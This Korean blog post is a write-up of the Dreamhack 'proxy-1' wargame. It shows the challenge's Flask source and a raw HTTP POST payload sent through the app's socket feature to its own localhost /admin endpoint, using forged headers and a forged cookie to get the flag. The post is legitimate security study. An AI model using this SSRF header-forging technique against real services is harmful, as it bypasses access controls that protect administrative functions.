2024. 11. 24. 14:29ㆍhacking : p_study/Dreamhack
proxy-1 | 워게임 | Dreamhack | 워게임 | Dreamhack
proxy-1
Raw Socket Sender가 구현된 서비스입니다. 요구하는 조건을 맞춰 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. Reference Introduction of Webhacking
dreamhack.io
문제설명은 아래와 같다.
Raw Socket Sender가 구현된 서비스입니다.
요구하는 조건을 맞춰 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.
일단 입력해봤다.
소켓연결이 안돼서 이렇게 뜨는건가?
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
import socket
app = Flask(__name__)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
@app.route('/')
def index():
return render_template('index.html')
@app.route('/socket', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('socket.html')
elif request.method == 'POST':
host = request.form.get('host')
port = request.form.get('port', type=int)
data = request.form.get('data')
retData = ""
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(3)
s.connect((host, port))
s.sendall(data.encode())
while True:
tmpData = s.recv(1024)
retData += tmpData.decode()
if not tmpData: break
except Exception as e:
return render_template('socket_result.html', data=e)
return render_template('socket_result.html', data=retData)
@app.route('/admin', methods=['POST'])
def admin():
if request.remote_addr != '127.0.0.1':
return 'Only localhost'
if request.headers.get('User-Agent') != 'Admin Browser':
return 'Only Admin Browser'
if request.headers.get('DreamhackUser') != 'admin':
return 'Only Admin'
if request.cookies.get('admin') != 'true':
return 'Admin Cookie'
if request.form.get('userid') != 'admin':
return 'Admin id'
return FLAG
app.run(host='0.0.0.0', port=8000)
요기서부터는 힌트를 찾으면서 문제를 풀었다.
socket 페이지에서 send 버튼을 누르면 host, port, data가 전송된다.
admin 페이지는 전송된 패킷이 조건에 부합하면 FLAG를 띄워주는데, 요구조건은 다음과 같다.
1. request.remote_addr=127.0.0.1
: 클라이언트 ip가 127.0.0.1 인지 확인한다.
2. request.headers.get('User-Agent')=Admin Browser
: User-Agent 헤더 값이 Admin Browser 인지 확인한다.
3. request.headers.get('DreamhackUser')=admin
: DreamhackUser 라는 헤더의 값이 admin 인지 확인한다.
4. request.cookies.get('admin')=true
: admin 이라는 쿠키 값이 true 인지 확인한다.
5. request.form.get('userid')=admin
: POST body의 userid 라는 파라미터 값이 admin 인지 확인한다.
Raw Socket Sender를 이용하여 로컬 단에서 admin 페이지에 Data를 전달하도록 한다.
공격 페이로드는 다음과 같다.
Host: 127.0.0.1
Port: 8000
Data:
POST /admin HTTP/1.1
Host: host1.dreamhack.games
User-Agent:Admin Browser
DreamhackUser:admin
Cookie:admin=true
userid=admin
소스코드가 작성된 app.py 파일에서는 플라스크를 8000번 포트로 실행하기 때문에 8000번 포트로 전송한다.
Admin id라는 에러메시지가 응답됐다.
해당 에러는 POST 데이터 userid=admin 조건에 부합하지 않을때 나오는 메시지로 POST 패킷을 전송하려면 특정 헤더가 추가되어야함을 알 수 있었다.
추가가 필요한 헤더는 다음과 같다.
"Content-Type:application/x-www-form-urlencoded"
"Content-Length: {body 데이터의 길이}"
POST /admin HTTP/1.1
Host: host1.dreamhack.games
User-Agent:Admin Browser
DreamhackUser:admin
Cookie:admin=true
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
userid=admin
userid=admin 데이터는 12자이기 때문에 Content-Length 헤더의 값을 12로 주었다.
플래그값을 구할 수 있었다.
[ 참고 자료 ]
[dreamhack] proxy-1 문제풀이
[WEB] proxy-1 문제풀이 Raw Socket이란 '어느 특정한 프로토콜 용의 전송 계층 포맷팅 없이 인터넷 프로토콜 패킷을 직접적으로 주고 받게 해주는 소켓'을 말한다. 즉, 인터넷 통신은 TCP/IP의 4계층의
mokpo.tistory.com
'hacking : p_study > Dreamhack' 카테고리의 다른 글
Web Hacking 과제_1(Dreamhack_session-basic) (0) | 2024.11.24 |
---|---|
Web Hacking 과제_2(Dreamhack_login-1) (1) | 2024.11.16 |
Web Hacking 과제_1(Dreamhack_Mango) (2) | 2024.11.15 |
Web Hacking 과제_1(Dreamhack_file-download-1) (1) | 2024.11.04 |
Web Hacking 과제_2(Dreamhack_weblog-1) (1) | 2024.10.30 |